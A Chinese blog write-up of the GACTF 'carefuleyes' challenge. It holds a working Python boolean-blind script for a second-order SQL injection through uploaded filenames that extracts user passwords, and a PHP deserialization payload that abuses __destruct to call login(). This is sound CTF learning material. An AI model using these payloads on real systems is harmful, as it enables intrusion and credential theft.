SQL二次注入-GACTF-carefulleyes

源码审计

首先看看题目的源码,rename.php在这里是存在二次注入的,新的文件名会替换旧的文件名,新文件名又将被直接取出

<?php

require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed.";
} else {
exit("old file doesn't exists!");
}
}

大致分析一下:
假设我们输入的文件名为:
1'or 1=1#.jpg那么插入到数据库当中以后
将变成
1'or 1=1#那么后面取出数据的时候

select * from `file` where `filename`='{$result['filename']}'
select * from `file` where `filename`='1'or 1=1#'

一开始测试的时候 我是用and的,但是当我改成1’and 1=2的时候回显结果也是一样的?1'and 1=1#
img

后来我改成了1'or 1=1,发现页面有了不一样的回显

img

img

所以可以进行布尔盲注

脚本编写

感觉最近写脚本越来越得心应手了虽然脚本都很简单哈哈哈哈

import requests
s=requests.session()
url1="http://b.y1ng.vip:2016/upload.php"
url2="http://b.y1ng.vip:2016/rename.php"
def upload(str):
content="aaaa"
file1 = {
'upfile':(f"1'{str}#.jpg",content,"image/jpeg")
}
r = s.post(url=url1, files=file1).text
#print(r)
def rename(str):
data={
"oldname":f"1'{str}#",
"newname":"abc"
}
r=s.post(url=url2,data=data).text
return r

def sql_injection(payload):
fina_word=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_fina=f"or ascii(substr(({payload}),{i},1))>{mid}"
upload(payload_fina)
r=rename(payload_fina)
if "Comp 1_100002" in r:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32 or mid==128):
break
fina_word+=chr(mid)
print(fina_word)

if __name__ =="__main__":
# payload="database()"
# payload=""
payload="select group_concat(password) from user"
sql_injection(payload)

这样就可以注出用户名和密码了

XM GaCtF5QL1

反序列化分析

class XCTFGG{
private $method;
private $args;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function login() {
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

global $db;
$obj = $db->query($sql);

$obj = $obj->fetch_assoc();

global $FLAG;

if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}

function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args);
}
}

可以发现,只要登录成功,就可以拿到flag,此时我们已经得到账号密码了,构造一下即可,看了一下源码,在upload.php中存在反序列化的点,方法很少,所以pop链其实很好看出,就是destruct的时候会使用call_user_func_array,所以只要对method和args进行赋值即可:

<?php

error_reporting(0);
class XCTFGG{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new XCTFGG("login",array("XM","GaCtF5QL1"));
echo urlencode(serialize($a));

但是不知道为啥没拿到flag

upload successfully!<br />
<b>Fatal error</b>: Uncaught Error: Call to undefined function mysql_escape_string() in /var/www/html/common.php:39
Stack trace:
#0 /var/www/html/common.php(59): XCTFGG->login('XM', 'GaCtF5QL1')
#1 /var/www/html/upload.php(47): XCTFGG->__destruct()
#2 {main}
thrown in <b>/var/www/html/common.php</b> on line <b>39</b><br />
Author

vague huang

Posted on

2021-08-09

Updated on

2021-08-11

Licensed under

Comments